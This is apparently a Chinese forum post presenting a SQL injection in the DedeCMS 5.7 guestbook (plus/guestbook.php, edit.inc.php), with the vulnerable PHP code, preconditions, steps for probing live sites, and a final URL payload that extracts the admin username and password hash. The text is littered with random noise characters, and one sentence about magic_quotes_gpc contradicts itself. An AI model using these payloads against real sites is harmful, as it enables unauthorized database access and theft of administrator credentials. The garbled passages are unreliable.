dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
6 V7 u7 \6 }* |. G3 d
漏洞文件edit.inc.php具体代码：
# f0 d& u2 m  c/ S
( e: S. N: K( D( v0 d< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
# i, r/ V% ]( J
# m6 Q$ B0 G- V9 V( e6 M   
8 b3 x, A: D7 e9 O$ {  W8 b
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  

   
) p. j* j6 w  R+ F- p
) w! _9 O" {$ U: v, Y" [9 Z2 X" B$id = intval($id);  

! \4 j: l3 e% p% T" v) I. A* Uif(empty($job)) $job='view';  

   
# [0 h% k- C$ n- j. o
if($job=='del' && $g_isadmin)  
' _9 B0 `5 C1 d4 _
{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
. F1 P) o' X0 L) ]+ s" Y
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

- J/ Z+ R2 M' [8 v  w, r2 H1 L; Oexit();  
% o4 V  O5 S* d
}  

3 U, J( K+ D7 U; H* x1 uelse if($job=='check' && $g_isadmin)  

5 D, c4 h% P/ {! m0 I{  
9 t2 U+ e" K5 G
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
9 n- s, o( w/ D4 \' J
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  
# E, J  o5 U8 F$ Q7 y+ r# }
}  
/ n! F5 T$ c' i) m1 s
else if($job=='editok')  
& V8 g! i: L8 b% r
+ A8 l* G/ i; X3 v{  
3 X) S4 m( p' o& d
2 u' t6 ]0 ^8 ]" J/ ^" t4 U+ ?$remsg = trim($remsg);  

if($remsg!='')  

/ r1 @) z) j' {' b; l{  
" F; W7 c8 ?7 `5 K; w% O7 W
# ^: P) t# p+ Z- V, j//管理员回复不过滤HTML By:Errorera blog:errs.cc  

1 i/ a( ]4 ]7 k" I3 [, [if($g_isadmin)  

{  
1 q" `# E: e# k3 ]$ |
1 [1 ?% `- B" H1 q. k$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
0 n$ L; X2 p! C  ?$ q2 P. o
+ s3 @$ N2 P2 _- _+ E//$remsg <br /><font color=red>管理员回复：</font> }  

else

7 }1 N. u' `* c, O( k{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
/ a( D9 @4 m9 F* j( d4 G
0 P: K1 U8 U" A8 @4 x$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
# |) [7 K* _$ x7 J! R3 A7 u
# D$ @9 w$ U) U" ~/ D; u  Z( S. @$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

8 _3 z( S, B, c. T2 U}  
2 p- f: p6 k. Z  r* l7 K1 R" F% o& m
" {* f! ^& g3 r. _}  

' T- T$ ^( r  d/ a, I//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
* w2 g! u0 {6 O2 A, f1 i$ D
, g% m; B) Y5 U: \" O% _! h- p+ o$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
9 M. Y6 B5 u* I, k
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

8 p+ {# N6 L7 f& D7 A( ^4 S}  
- w6 ~* O5 p; y+ D/ |8 Z2 u
//home:www.errs.cc  

& k7 U  ~; q9 o7 {if($g_isadmin)  
$ i7 I: n, E; h
{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

( x# [1 m/ h  Z3 ~2 r9 krequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
+ Y) p& f" G: D) k4 K3 l) W
}  

else

{  
, L7 ^! |" |, X. C7 i
* Y2 u8 ?. ~: z% _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
7 t% |) c- z. C8 ?, {
} 漏洞成功需要条件：
8 \7 l4 t/ Z0 P; t6 Z% u" |$ H, _2 n& ]1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
$ \# J% `  i7 I+ i+ `
怎么判断是否存在漏洞：
' r+ s( n. w5 x% f" m' c5 _先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
  [2 V5 e5 ~& J+ p6 o, U0 W3 W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 D, e# K. Z, F" B3 Z# k访问：
6 o4 H' h! F! |- k7 V
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 r% Q( D4 P5 s- B
- f+ |- J% E! |6 f0 B8 |, b
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
' N% ]: y8 M: n( ~7 z; X- m那么再次访问
: }0 @* |/ T8 V' i
" D1 X& I( y8 E" C4 r+ zwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
9 M% z3 \5 Z* J2 I
大概利用就是这样，大家有兴趣的多研究下！！
/ s8 ~" Y- a! f& `, u2 K; y  ]
9 ?8 I' }# P" q% w! m7 ~; J& E9 w6 Z最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='